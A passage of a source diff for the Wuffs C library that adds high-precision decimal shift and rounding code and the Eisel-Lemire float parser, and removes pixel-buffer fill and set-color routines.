++wuffs_private_impl__high_prec_dec__small_rshift( ++ wuffs_private_impl__high_prec_dec* h, ++ uint32_t shift) { ++ uint32_t rx = 0; // Read index. ++ uint32_t wx = 0; // Write index. ++ uint64_t n = 0; + +- default: +- // TODO: support more formats. ++ // Pick up enough leading digits to cover the first shift. ++ while ((n >> shift) == 0) { ++ if (rx < h->num_digits) { ++ // Read a digit. ++ n = (10 * n) + h->digits[rx++]; ++ } else if (n == 0) { ++ // h's number used to be zero and remains zero. ++ return; ++ } else { ++ // Read sufficient implicit trailing zeroes. ++ while ((n >> shift) == 0) { ++ n = 10 * n; ++ rx++; ++ } + break; ++ } ++ } ++ h->decimal_point -= ((int32_t)(rx - 1)); ++ if (h->decimal_point < -WUFFS_PRIVATE_IMPL__HPD__DECIMAL_POINT__RANGE) { ++ // After the shift, h's number is effectively zero. ++ h->num_digits = 0; ++ h->decimal_point = 0; ++ h->truncated = false; ++ return; + } + +- return 0; ++ // Repeat: pick up a digit, put down a digit, left to right. ++ uint64_t mask = (((uint64_t)(1)) << shift) - 1; ++ while (rx < h->num_digits) { ++ uint8_t new_digit = ((uint8_t)(n >> shift)); ++ n = (10 * (n & mask)) + h->digits[rx++]; ++ h->digits[wx++] = new_digit; ++ } ++ ++ // Put down trailing digits, left to right. ++ while (n > 0) { ++ uint8_t new_digit = ((uint8_t)(n >> shift)); ++ n = 10 * (n & mask); ++ if (wx < WUFFS_PRIVATE_IMPL__HPD__DIGITS_PRECISION) { ++ h->digits[wx++] = new_digit; ++ } else if (new_digit > 0) { ++ h->truncated = true; ++ } ++ } ++ ++ // Finish. ++ h->num_digits = wx; ++ wuffs_private_impl__high_prec_dec__trim(h); ++} ++ ++static void // ++wuffs_private_impl__high_prec_dec__lshift(wuffs_private_impl__high_prec_dec* h, ++ int32_t shift) { ++ if (shift > 0) { ++ while (shift > +WUFFS_PRIVATE_IMPL__HPD__SHIFT__MAX_INCL) { ++ wuffs_private_impl__high_prec_dec__small_lshift( ++ h, WUFFS_PRIVATE_IMPL__HPD__SHIFT__MAX_INCL); ++ shift -= WUFFS_PRIVATE_IMPL__HPD__SHIFT__MAX_INCL; ++ } ++ wuffs_private_impl__high_prec_dec__small_lshift(h, ((uint32_t)(+shift))); ++ } else if (shift < 0) { ++ while (shift < -WUFFS_PRIVATE_IMPL__HPD__SHIFT__MAX_INCL) { ++ wuffs_private_impl__high_prec_dec__small_rshift( ++ h, WUFFS_PRIVATE_IMPL__HPD__SHIFT__MAX_INCL); ++ shift += WUFFS_PRIVATE_IMPL__HPD__SHIFT__MAX_INCL; ++ } ++ wuffs_private_impl__high_prec_dec__small_rshift(h, ((uint32_t)(-shift))); ++ } + } + + // -------- + +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status // +-wuffs_base__pixel_buffer__set_color_u32_at( +- wuffs_base__pixel_buffer* pb, +- uint32_t x, +- uint32_t y, +- wuffs_base__color_u32_argb_premul color) { +- if (!pb) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++// wuffs_private_impl__high_prec_dec__round_etc rounds h's number. For those ++// functions that take an n argument, rounding produces at most n digits (which ++// is not necessarily at most n decimal places). Negative n values are ignored, ++// as well as any n greater than or equal to h's number of digits. The ++// etc__round_just_enough function implicitly chooses an n to implement ++// WUFFS_BASE__RENDER_NUMBER_FXX__JUST_ENOUGH_PRECISION. ++// ++// Preconditions: ++// - h is non-NULL. ++// - h->decimal_point is "not extreme". ++// ++// "Not extreme" means within ±WUFFS_PRIVATE_IMPL__HPD__DECIMAL_POINT__RANGE. ++ ++static void // ++wuffs_private_impl__high_prec_dec__round_down( ++ wuffs_private_impl__high_prec_dec* h, ++ int32_t n) { ++ if ((n < 0) || (h->num_digits <= (uint32_t)n)) { ++ return; + } +- if ((x >= pb->pixcfg.private_impl.width) || +- (y >= pb->pixcfg.private_impl.height)) { +- return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ h->num_digits = (uint32_t)(n); ++ wuffs_private_impl__high_prec_dec__trim(h); ++} ++ ++static void // ++wuffs_private_impl__high_prec_dec__round_up( ++ wuffs_private_impl__high_prec_dec* h, ++ int32_t n) { ++ if ((n < 0) || (h->num_digits <= (uint32_t)n)) { ++ return; + } + +- if (wuffs_base__pixel_format__is_planar(&pb->pixcfg.private_impl.pixfmt)) { +- // TODO: support planar formats. +- return wuffs_base__make_status(wuffs_base__error__unsupported_option); ++ for (n--; n >= 0; n--) { ++ if (h->digits[n] < 9) { ++ h->digits[n]++; ++ h->num_digits = (uint32_t)(n + 1); ++ return; ++ } + } + +- size_t stride = pb->private_impl.planes[0].stride; +- uint8_t* row = pb->private_impl.planes[0].ptr + (stride * ((size_t)y)); ++ // The number is all 9s. Change to a single 1 and adjust the decimal point. ++ h->digits[0] = 1; ++ h->num_digits = 1; ++ h->decimal_point++; ++} + +- switch (pb->pixcfg.private_impl.pixfmt.repr) { +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__BGRX: +- wuffs_base__poke_u32le__no_bounds_check(row + (4 * ((size_t)x)), color); +- break; ++static void // ++wuffs_private_impl__high_prec_dec__round_nearest( ++ wuffs_private_impl__high_prec_dec* h, ++ int32_t n) { ++ if ((n < 0) || (h->num_digits <= (uint32_t)n)) { ++ return; ++ } ++ bool up = h->digits[n] >= 5; ++ if ((h->digits[n] == 5) && ((n + 1) == ((int32_t)(h->num_digits)))) { ++ up = h->truncated || // ++ ((n > 0) && ((h->digits[n - 1] & 1) != 0)); ++ } + +- // Common formats above. Rarer formats below. +- +- case WUFFS_BASE__PIXEL_FORMAT__Y: +- wuffs_base__poke_u8__no_bounds_check( +- row + ((size_t)x), +- wuffs_base__color_u32_argb_premul__as__color_u8_gray(color)); +- break; +- case WUFFS_BASE__PIXEL_FORMAT__Y_16LE: +- wuffs_base__poke_u16le__no_bounds_check( +- row + (2 * ((size_t)x)), +- wuffs_base__color_u32_argb_premul__as__color_u16_gray(color)); +- break; +- case WUFFS_BASE__PIXEL_FORMAT__Y_16BE: +- wuffs_base__poke_u16be__no_bounds_check( +- row + (2 * ((size_t)x)), +- wuffs_base__color_u32_argb_premul__as__color_u16_gray(color)); +- break; +- +- case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_NONPREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_PREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_BINARY: +- wuffs_base__poke_u8__no_bounds_check( +- row + ((size_t)x), wuffs_base__pixel_palette__closest_element( +- wuffs_base__pixel_buffer__palette(pb), +- pb->pixcfg.private_impl.pixfmt, color)); +- break; +- +- case WUFFS_BASE__PIXEL_FORMAT__BGR_565: +- wuffs_base__poke_u16le__no_bounds_check( +- row + (2 * ((size_t)x)), +- wuffs_base__color_u32_argb_premul__as__color_u16_rgb_565(color)); +- break; +- case WUFFS_BASE__PIXEL_FORMAT__BGR: +- wuffs_base__poke_u24le__no_bounds_check(row + (3 * ((size_t)x)), color); +- break; +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: +- wuffs_base__poke_u32le__no_bounds_check( +- row + (4 * ((size_t)x)), +- wuffs_base__color_u32_argb_premul__as__color_u32_argb_nonpremul( +- color)); +- break; +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: +- wuffs_base__poke_u64le__no_bounds_check( +- row + (8 * ((size_t)x)), +- wuffs_base__color_u32_argb_premul__as__color_u64_argb_nonpremul( +- color)); +- break; +- +- case WUFFS_BASE__PIXEL_FORMAT__RGB: +- wuffs_base__poke_u24le__no_bounds_check( +- row + (3 * ((size_t)x)), wuffs_base__swap_u32_argb_abgr(color)); +- break; +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: +- wuffs_base__poke_u32le__no_bounds_check( +- row + (4 * ((size_t)x)), +- wuffs_base__color_u32_argb_premul__as__color_u32_argb_nonpremul( +- wuffs_base__swap_u32_argb_abgr(color))); +- break; +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__RGBX: +- wuffs_base__poke_u32le__no_bounds_check( +- row + (4 * ((size_t)x)), wuffs_base__swap_u32_argb_abgr(color)); +- break; +- +- default: +- // TODO: support more formats. +- return wuffs_base__make_status(wuffs_base__error__unsupported_option); ++ if (up) { ++ wuffs_private_impl__high_prec_dec__round_up(h, n); ++ } else { ++ wuffs_private_impl__high_prec_dec__round_down(h, n); + } +- +- return wuffs_base__make_status(NULL); + } + +-// -------- +- +-static inline void // +-wuffs_base__pixel_buffer__set_color_u32_fill_rect__xx( +- wuffs_base__pixel_buffer* pb, +- wuffs_base__rect_ie_u32 rect, +- uint16_t color) { +- size_t stride = pb->private_impl.planes[0].stride; +- uint32_t width = wuffs_base__rect_ie_u32__width(&rect); +- if ((stride == (2 * ((uint64_t)width))) && (rect.min_incl_x == 0)) { +- uint8_t* ptr = +- pb->private_impl.planes[0].ptr + (stride * ((size_t)rect.min_incl_y)); +- uint32_t height = wuffs_base__rect_ie_u32__height(&rect); +- size_t n; +- for (n = ((size_t)width) * ((size_t)height); n > 0; n--) { +- wuffs_base__poke_u16le__no_bounds_check(ptr, color); +- ptr += 2; +- } ++static void // ++wuffs_private_impl__high_prec_dec__round_just_enough( ++ wuffs_private_impl__high_prec_dec* h, ++ int32_t exp2, ++ uint64_t mantissa) { ++ // The magic numbers 52 and 53 in this function are because IEEE 754 double ++ // precision has 52 mantissa bits. ++ // ++ // Let f be the floating point number represented by exp2 and mantissa (and ++ // also the number in h): the number (mantissa * (2 ** (exp2 - 52))). ++ // ++ // If f is zero or a small integer, we can return early. ++ if ((mantissa == 0) || ++ ((exp2 < 53) && (h->decimal_point >= ((int32_t)(h->num_digits))))) { + return; + } + +- uint32_t y; +- for (y = rect.min_incl_y; y < rect.max_excl_y; y++) { +- uint8_t* ptr = pb->private_impl.planes[0].ptr + (stride * ((size_t)y)) + +- (2 * ((size_t)rect.min_incl_x)); +- uint32_t n; +- for (n = width; n > 0; n--) { +- wuffs_base__poke_u16le__no_bounds_check(ptr, color); +- ptr += 2; +- } +- } +-} ++ // The smallest normal f has an exp2 of -1022 and a mantissa of (1 << 52). ++ // Subnormal numbers have the same exp2 but a smaller mantissa. ++ static const int32_t min_incl_normal_exp2 = -1022; ++ static const uint64_t min_incl_normal_mantissa = 0x0010000000000000ul; + +-static inline void // +-wuffs_base__pixel_buffer__set_color_u32_fill_rect__xxx( +- wuffs_base__pixel_buffer* pb, +- wuffs_base__rect_ie_u32 rect, +- uint32_t color) { +- size_t stride = pb->private_impl.planes[0].stride; +- uint32_t width = wuffs_base__rect_ie_u32__width(&rect); +- if ((stride == (3 * ((uint64_t)width))) && (rect.min_incl_x == 0)) { +- uint8_t* ptr = +- pb->private_impl.planes[0].ptr + (stride * ((size_t)rect.min_incl_y)); +- uint32_t height = wuffs_base__rect_ie_u32__height(&rect); +- size_t n; +- for (n = ((size_t)width) * ((size_t)height); n > 0; n--) { +- wuffs_base__poke_u24le__no_bounds_check(ptr, color); +- ptr += 3; +- } +- return; ++ // Compute lower and upper bounds such that any number between them (possibly ++ // inclusive) will round to f. First, the lower bound. Our number f is: ++ // ((mantissa + 0) * (2 ** ( exp2 - 52))) ++ // ++ // The next lowest floating point number is: ++ // ((mantissa - 1) * (2 ** ( exp2 - 52))) ++ // unless (mantissa - 1) drops the (1 << 52) bit and exp2 is not the ++ // min_incl_normal_exp2. Either way, call it: ++ // ((l_mantissa) * (2 ** (l_exp2 - 52))) ++ // ++ // The lower bound is halfway between them (noting that 52 became 53): ++ // (((2 * l_mantissa) + 1) * (2 ** (l_exp2 - 53))) ++ int32_t l_exp2 = exp2; ++ uint64_t l_mantissa = mantissa - 1; ++ if ((exp2 > min_incl_normal_exp2) && (mantissa <= min_incl_normal_mantissa)) { ++ l_exp2 = exp2 - 1; ++ l_mantissa = (2 * mantissa) - 1; + } ++ wuffs_private_impl__high_prec_dec lower; ++ wuffs_private_impl__high_prec_dec__assign(&lower, (2 * l_mantissa) + 1, ++ false); ++ wuffs_private_impl__high_prec_dec__lshift(&lower, l_exp2 - 53); + +- uint32_t y; +- for (y = rect.min_incl_y; y < rect.max_excl_y; y++) { +- uint8_t* ptr = pb->private_impl.planes[0].ptr + (stride * ((size_t)y)) + +- (3 * ((size_t)rect.min_incl_x)); +- uint32_t n; +- for (n = width; n > 0; n--) { +- wuffs_base__poke_u24le__no_bounds_check(ptr, color); +- ptr += 3; +- } +- } +-} ++ // Next, the upper bound. Our number f is: ++ // ((mantissa + 0) * (2 ** (exp2 - 52))) ++ // ++ // The next highest floating point number is: ++ // ((mantissa + 1) * (2 ** (exp2 - 52))) ++ // ++ // The upper bound is halfway between them (noting that 52 became 53): ++ // (((2 * mantissa) + 1) * (2 ** (exp2 - 53))) ++ wuffs_private_impl__high_prec_dec upper; ++ wuffs_private_impl__high_prec_dec__assign(&upper, (2 * mantissa) + 1, false); ++ wuffs_private_impl__high_prec_dec__lshift(&upper, exp2 - 53); + +-static inline void // +-wuffs_base__pixel_buffer__set_color_u32_fill_rect__xxxx( +- wuffs_base__pixel_buffer* pb, +- wuffs_base__rect_ie_u32 rect, +- uint32_t color) { +- size_t stride = pb->private_impl.planes[0].stride; +- uint32_t width = wuffs_base__rect_ie_u32__width(&rect); +- if ((stride == (4 * ((uint64_t)width))) && (rect.min_incl_x == 0)) { +- uint8_t* ptr = +- pb->private_impl.planes[0].ptr + (stride * ((size_t)rect.min_incl_y)); +- uint32_t height = wuffs_base__rect_ie_u32__height(&rect); +- size_t n; +- for (n = ((size_t)width) * ((size_t)height); n > 0; n--) { +- wuffs_base__poke_u32le__no_bounds_check(ptr, color); +- ptr += 4; +- } +- return; +- } ++ // The lower and upper bounds are possible outputs only if the original ++ // mantissa is even, so that IEEE round-to-even would round to the original ++ // mantissa and not its neighbors. ++ bool inclusive = (mantissa & 1) == 0; + +- uint32_t y; +- for (y = rect.min_incl_y; y < rect.max_excl_y; y++) { +- uint8_t* ptr = pb->private_impl.planes[0].ptr + (stride * ((size_t)y)) + +- (4 * ((size_t)rect.min_incl_x)); +- uint32_t n; +- for (n = width; n > 0; n--) { +- wuffs_base__poke_u32le__no_bounds_check(ptr, color); +- ptr += 4; +- } +- } +-} ++ // As we walk the digits, we want to know whether rounding up would fall ++ // within the upper bound. This is tracked by upper_delta: ++ // - When -1, the digits of h and upper are the same so far. ++ // - When +0, we saw a difference of 1 between h and upper on a previous ++ // digit and subsequently only 9s for h and 0s for upper. Thus, rounding ++ // up may fall outside of the bound if !inclusive. ++ // - When +1, the difference is greater than 1 and we know that rounding up ++ // falls within the bound. ++ // ++ // This is a state machine with three states. The numerical value for each ++ // state (-1, +0 or +1) isn't important, other than their order. ++ int upper_delta = -1; + +-static inline void // +-wuffs_base__pixel_buffer__set_color_u32_fill_rect__xxxxxxxx( +- wuffs_base__pixel_buffer* pb, +- wuffs_base__rect_ie_u32 rect, +- uint64_t color) { +- size_t stride = pb->private_impl.planes[0].stride; +- uint32_t width = wuffs_base__rect_ie_u32__width(&rect); +- if ((stride == (8 * ((uint64_t)width))) && (rect.min_incl_x == 0)) { +- uint8_t* ptr = +- pb->private_impl.planes[0].ptr + (stride * ((size_t)rect.min_incl_y)); +- uint32_t height = wuffs_base__rect_ie_u32__height(&rect); +- size_t n; +- for (n = ((size_t)width) * ((size_t)height); n > 0; n--) { +- wuffs_base__poke_u64le__no_bounds_check(ptr, color); +- ptr += 8; ++ // We can now figure out the shortest number of digits required. Walk the ++ // digits until h has distinguished itself from lower or upper. ++ // ++ // The zi and zd variables are indexes and digits, for z in l (lower), h (the ++ // number) and u (upper). ++ // ++ // The lower, h and upper numbers may have their decimal points at different ++ // places. In this case, upper is the longest, so we iterate ui starting from ++ // 0 and iterate li and hi starting from either 0 or -1. ++ int32_t ui = 0; ++ for (;; ui++) { ++ // Calculate hd, the middle number's digit. ++ int32_t hi = ui - upper.decimal_point + h->decimal_point; ++ if (hi >= ((int32_t)(h->num_digits))) { ++ break; + } +- return; +- } ++ uint8_t hd = (((uint32_t)hi) < h->num_digits) ? h->digits[hi] : 0; + +- uint32_t y; +- for (y = rect.min_incl_y; y < rect.max_excl_y; y++) { +- uint8_t* ptr = pb->private_impl.planes[0].ptr + (stride * ((size_t)y)) + +- (8 * ((size_t)rect.min_incl_x)); +- uint32_t n; +- for (n = width; n > 0; n--) { +- wuffs_base__poke_u64le__no_bounds_check(ptr, color); +- ptr += 8; ++ // Calculate ld, the lower bound's digit. ++ int32_t li = ui - upper.decimal_point + lower.decimal_point; ++ uint8_t ld = (((uint32_t)li) < lower.num_digits) ? lower.digits[li] : 0; ++ ++ // We can round down (truncate) if lower has a different digit than h or if ++ // lower is inclusive and is exactly the result of rounding down (i.e. we ++ // have reached the final digit of lower). ++ bool can_round_down = ++ (ld != hd) || // ++ (inclusive && ((li + 1) == ((int32_t)(lower.num_digits)))); ++ ++ // Calculate ud, the upper bound's digit, and update upper_delta. ++ uint8_t ud = (((uint32_t)ui) < upper.num_digits) ? upper.digits[ui] : 0; ++ if (upper_delta < 0) { ++ if ((hd + 1) < ud) { ++ // For example: ++ // h = 12345??? ++ // upper = 12347??? ++ upper_delta = +1; ++ } else if (hd != ud) { ++ // For example: ++ // h = 12345??? ++ // upper = 12346??? ++ upper_delta = +0; ++ } ++ } else if (upper_delta == 0) { ++ if ((hd != 9) || (ud != 0)) { ++ // For example: ++ // h = 1234598? ++ // upper = 1234600? ++ upper_delta = +1; ++ } + } +- } +-} + +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status // +-wuffs_base__pixel_buffer__set_color_u32_fill_rect( +- wuffs_base__pixel_buffer* pb, +- wuffs_base__rect_ie_u32 rect, +- wuffs_base__color_u32_argb_premul color) { +- if (!pb) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } else if (wuffs_base__rect_ie_u32__is_empty(&rect)) { +- return wuffs_base__make_status(NULL); +- } +- wuffs_base__rect_ie_u32 bounds = +- wuffs_base__pixel_config__bounds(&pb->pixcfg); +- if (!wuffs_base__rect_ie_u32__contains_rect(&bounds, rect)) { +- return wuffs_base__make_status(wuffs_base__error__bad_argument); +- } ++ // We can round up if upper has a different digit than h and either upper ++ // is inclusive or upper is bigger than the result of rounding up. ++ bool can_round_up = ++ (upper_delta > 0) || // ++ ((upper_delta == 0) && // ++ (inclusive || ((ui + 1) < ((int32_t)(upper.num_digits))))); + +- if (wuffs_base__pixel_format__is_planar(&pb->pixcfg.private_impl.pixfmt)) { +- // TODO: support planar formats. +- return wuffs_base__make_status(wuffs_base__error__unsupported_option); ++ // If we can round either way, round to nearest. If we can round only one ++ // way, do it. If we can't round, continue the loop. ++ if (can_round_down) { ++ if (can_round_up) { ++ wuffs_private_impl__high_prec_dec__round_nearest(h, hi + 1); ++ return; ++ } else { ++ wuffs_private_impl__high_prec_dec__round_down(h, hi + 1); ++ return; ++ } ++ } else { ++ if (can_round_up) { ++ wuffs_private_impl__high_prec_dec__round_up(h, hi + 1); ++ return; ++ } ++ } + } ++} + +- switch (pb->pixcfg.private_impl.pixfmt.repr) { +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__BGRX: +- wuffs_base__pixel_buffer__set_color_u32_fill_rect__xxxx(pb, rect, color); +- return wuffs_base__make_status(NULL); +- +- // Common formats above. Rarer formats below. ++// -------- + +- case WUFFS_BASE__PIXEL_FORMAT__BGR_565: +- wuffs_base__pixel_buffer__set_color_u32_fill_rect__xx( +- pb, rect, +- wuffs_base__color_u32_argb_premul__as__color_u16_rgb_565(color)); +- return wuffs_base__make_status(NULL); ++// wuffs_private_impl__parse_number_f64_eisel_lemire produces the IEEE 754 ++// double-precision value for an exact mantissa and base-10 exponent. For ++// example: ++// - when parsing "12345.678e+02", man is 12345678 and exp10 is -1. ++// - when parsing "-12", man is 12 and exp10 is 0. Processing the leading ++// minus sign is the responsibility of the caller, not this function. ++// ++// On success, it returns a non-negative int64_t such that the low 63 bits hold ++// the 11-bit exponent and 52-bit mantissa. ++// ++// On failure, it returns a negative value. ++// ++// The algorithm is based on an original idea by Michael Eisel that was refined ++// by Daniel Lemire. See ++// https://lemire.me/blog/2020/03/10/fast-float-parsing-in-practice/ ++// and ++// https://nigeltao.github.io/blog/2020/eisel-lemire.html ++// ++// Preconditions: ++// - man is non-zero. ++// - exp10 is in the range [-307 ..= 288], the same range of the ++// wuffs_private_impl__powers_of_10 array. ++// ++// The exp10 range (and the fact that man is in the range [1 ..= UINT64_MAX], ++// approximately [1 ..= 1.85e+19]) means that (man * (10 ** exp10)) is in the ++// range [1e-307 ..= 1.85e+307]. This is entirely within the range of normal ++// (neither subnormal nor non-finite) f64 values: DBL_MIN and DBL_MAX are ++// approximately 2.23e–308 and 1.80e+308. ++static int64_t // ++wuffs_private_impl__parse_number_f64_eisel_lemire(uint64_t man, int32_t exp10) { ++ // Look up the (possibly truncated) base-2 representation of (10 ** exp10). ++ // The look-up table was constructed so that it is already normalized: the ++ // table entry's mantissa's MSB (most significant bit) is on. ++ const uint64_t* po10 = &wuffs_private_impl__powers_of_10[exp10 + 307][0]; + +- case WUFFS_BASE__PIXEL_FORMAT__BGR: +- wuffs_base__pixel_buffer__set_color_u32_fill_rect__xxx(pb, rect, color); +- return wuffs_base__make_status(NULL); ++ // Normalize the man argument. The (man != 0) precondition means that a ++ // non-zero bit exists. ++ uint32_t clz = wuffs_base__count_leading_zeroes_u64(man); ++ man <<= clz; + +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: +- wuffs_base__pixel_buffer__set_color_u32_fill_rect__xxxx( +- pb, rect, +- wuffs_base__color_u32_argb_premul__as__color_u32_argb_nonpremul( +- color)); +- return wuffs_base__make_status(NULL); ++ // Calculate the return value's base-2 exponent. We might tweak it by ±1 ++ // later, but its initial value comes from a linear scaling of exp10, ++ // converting from power-of-10 to power-of-2, and adjusting by clz. ++ // ++ // The magic constants are: ++ // - 1087 = 1023 + 64. The 1023 is the f64 exponent bias. The 64 is because ++ // the look-up table uses 64-bit mantissas. ++ // - 217706 is such that the ratio 217706 / 65536 ≈ 3.321930 is close enough ++ // (over the practical range of exp10) to log(10) / log(2) ≈ 3.321928. ++ // - 65536 = 1<<16 is arbitrary but a power of 2, so division is a shift. ++ // ++ // Equality of the linearly-scaled value and the actual power-of-2, over the ++ // range of exp10 arguments that this function accepts, is confirmed by ++ // script/print-mpb-powers-of-10.go ++ uint64_t ret_exp2 = ++ ((uint64_t)(((217706 * exp10) >> 16) + 1087)) - ((uint64_t)clz); + +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: +- wuffs_base__pixel_buffer__set_color_u32_fill_rect__xxxxxxxx( +- pb, rect, +- wuffs_base__color_u32_argb_premul__as__color_u64_argb_nonpremul( +- color)); +- return wuffs_base__make_status(NULL); ++ // Multiply the two mantissas. Normalization means that both mantissas are at ++ // least (1<<63), so the 128-bit product must be at least (1<<126). The high ++ // 64 bits of the product, x_hi, must therefore be at least (1<<62). ++ // ++ // As a consequence, x_hi has either 0 or 1 leading zeroes. Shifting x_hi ++ // right by either 9 or 10 bits (depending on x_hi's MSB) will therefore ++ // leave the top 10 MSBs (bits 54 ..= 63) off and the 11th MSB (bit 53) on. ++ wuffs_base__multiply_u64__output x = wuffs_base__multiply_u64(man, po10[1]); ++ uint64_t x_hi = x.hi; ++ uint64_t x_lo = x.lo; + +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: +- wuffs_base__pixel_buffer__set_color_u32_fill_rect__xxxx( +- pb, rect, +- wuffs_base__color_u32_argb_premul__as__color_u32_argb_nonpremul( +- wuffs_base__swap_u32_argb_abgr(color))); +- return wuffs_base__make_status(NULL); ++ // Before we shift right by at least 9 bits, recall that the look-up table ++ // entry was possibly truncated. We have so far only calculated a lower bound ++ // for the product (man * e), where e is (10 ** exp10). The upper bound would ++ // add a further (man * 1) to the 128-bit product, which overflows the lower ++ // 64-bit limb if ((x_lo + man) < man). ++ // ++ // If overflow occurs, that adds 1 to x_hi. Since we're about to shift right ++ // by at least 9 bits, that carried 1 can be ignored unless the higher 64-bit ++ // limb's low 9 bits are all on. ++ // ++ // For example, parsing "9999999999999999999" will take the if-true branch ++ // here, since: ++ // - x_hi = 0x4563918244F3FFFF ++ // - x_lo = 0x8000000000000000 ++ // - man = 0x8AC7230489E7FFFF ++ if (((x_hi & 0x1FF) == 0x1FF) && ((x_lo + man) < man)) { ++ // Refine our calculation of (man * e). Before, our approximation of e used ++ // a "low resolution" 64-bit mantissa. Now use a "high resolution" 128-bit ++ // mantissa. We've already calculated x = (man * bits_0_to_63_incl_of_e). ++ // Now calculate y = (man * bits_64_to_127_incl_of_e). ++ wuffs_base__multiply_u64__output y = wuffs_base__multiply_u64(man, po10[0]); ++ uint64_t y_hi = y.hi; ++ uint64_t y_lo = y.lo; + +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__RGBX: +- wuffs_base__pixel_buffer__set_color_u32_fill_rect__xxxx( +- pb, rect, wuffs_base__swap_u32_argb_abgr(color)); +- return wuffs_base__make_status(NULL); +- } ++ // Merge the 128-bit x and 128-bit y, which overlap by 64 bits, to ++ // calculate the 192-bit product of the 64-bit man by the 128-bit e. ++ // As we exit this if-block, we only care about the high 128 bits ++ // (merged_hi and merged_lo) of that 192-bit product. ++ // ++ // For example, parsing "1.234e-45" will take the if-true branch here, ++ // since: ++ // - x_hi = 0x70B7E3696DB29FFF ++ // - x_lo = 0xE040000000000000 ++ // - y_hi = 0x33718BBEAB0E0D7A ++ // - y_lo = 0xA880000000000000 ++ uint64_t merged_hi = x_hi; ++ uint64_t merged_lo = x_lo + y_hi; ++ if (merged_lo < x_lo) { ++ merged_hi++; // Carry the overflow bit. ++ } + +- uint32_t y; +- for (y = rect.min_incl_y; y < rect.max_excl_y; y++) { +- uint32_t x; +- for (x = rect.min_incl_x; x < rect.max_excl_x; x++) { +- wuffs_base__pixel_buffer__set_color_u32_at(pb, x, y, color); ++ // The "high resolution" approximation of e is still a lower bound. Once ++ // again, see if the upper bound is large enough to produce a different ++ // result. This time, if it does, give up instead of reaching for an even ++ // more precise approximation to e. ++ // ++ // This three-part check is similar to the two-part check that guarded the ++ // if block that we're now in, but it has an extra term for the middle 64 ++ // bits (checking that adding 1 to merged_lo would overflow). ++ // ++ // For example, parsing "5.9604644775390625e-8" will take the if-true ++ // branch here, since: ++ // - merged_hi = 0x7FFFFFFFFFFFFFFF ++ // - merged_lo = 0xFFFFFFFFFFFFFFFF ++ // - y_lo = 0x4DB3FFC120988200 ++ // - man = 0xD3C21BCECCEDA100 ++ if (((merged_hi & 0x1FF) == 0x1FF) && ((merged_lo + 1) == 0) && ++ (y_lo + man < man)) { ++ return -1; + } ++ ++ // Replace the 128-bit x with merged. ++ x_hi = merged_hi; ++ x_lo = merged_lo; + } +- return wuffs_base__make_status(NULL); +-} + +-// -------- ++ // As mentioned above, shifting x_hi right by either 9 or 10 bits will leave ++ // the top 10 MSBs (bits 54 ..= 63) off and the 11th MSB (bit 53) on. If the ++ // MSB (before shifting) was on, adjust ret_exp2 for the larger shift. ++ // ++ // Having bit 53 on (and higher bits off) means that ret_mantissa is a 54-bit ++ // number. ++ uint64_t msb = x_hi >> 63; ++ uint64_t ret_mantissa = x_hi >> (msb + 9); ++ ret_exp2 -= 1 ^ msb; + +-WUFFS_BASE__MAYBE_STATIC uint8_t // +-wuffs_base__pixel_palette__closest_element( +- wuffs_base__slice_u8 palette_slice, +- wuffs_base__pixel_format palette_format, +- wuffs_base__color_u32_argb_premul c) { +- size_t n = palette_slice.len / 4; +- if (n > (WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH / 4)) { +- n = (WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH / 4); ++ // IEEE 754 rounds to-nearest with ties rounded to-even. Rounding to-even can ++ // be tricky. If we're half-way between two exactly representable numbers ++ // (x's low 73 bits are zero and the next 2 bits that matter are "01"), give ++ // up instead of trying to pick the winner. ++ // ++ // Technically, we could tighten the condition by changing "73" to "73 or 74, ++ // depending on msb", but a flat "73" is simpler. ++ // ++ // For example, parsing "1e+23" will take the if-true branch here, since: ++ // - x_hi = 0x54B40B1F852BDA00 ++ // - ret_mantissa = 0x002A5A058FC295ED ++ if ((x_lo == 0) && ((x_hi & 0x1FF) == 0) && ((ret_mantissa & 3) == 1)) { ++ return -1; + } +- size_t best_index = 0; +- uint64_t best_score = 0xFFFFFFFFFFFFFFFF; + +- // Work in 16-bit color. +- uint32_t ca = 0x101 * (0xFF & (c >> 24)); +- uint32_t cr = 0x101 * (0xFF & (c >> 16)); +- uint32_t cg = 0x101 * (0xFF & (c >> 8)); +- uint32_t cb = 0x101 * (0xFF & (c >> 0)); +- +- switch (palette_format.repr) { +- case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_NONPREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_PREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_BINARY: { +- bool nonpremul = palette_format.repr == +- WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_NONPREMUL; +- +- size_t i; +- for (i = 0; i < n; i++) { +- // Work in 16-bit color. +- uint32_t pb = 0x101 * ((uint32_t)(palette_slice.ptr[(4 * i) + 0])); +- uint32_t pg = 0x101 * ((uint32_t)(palette_slice.ptr[(4 * i) + 1])); +- uint32_t pr = 0x101 * 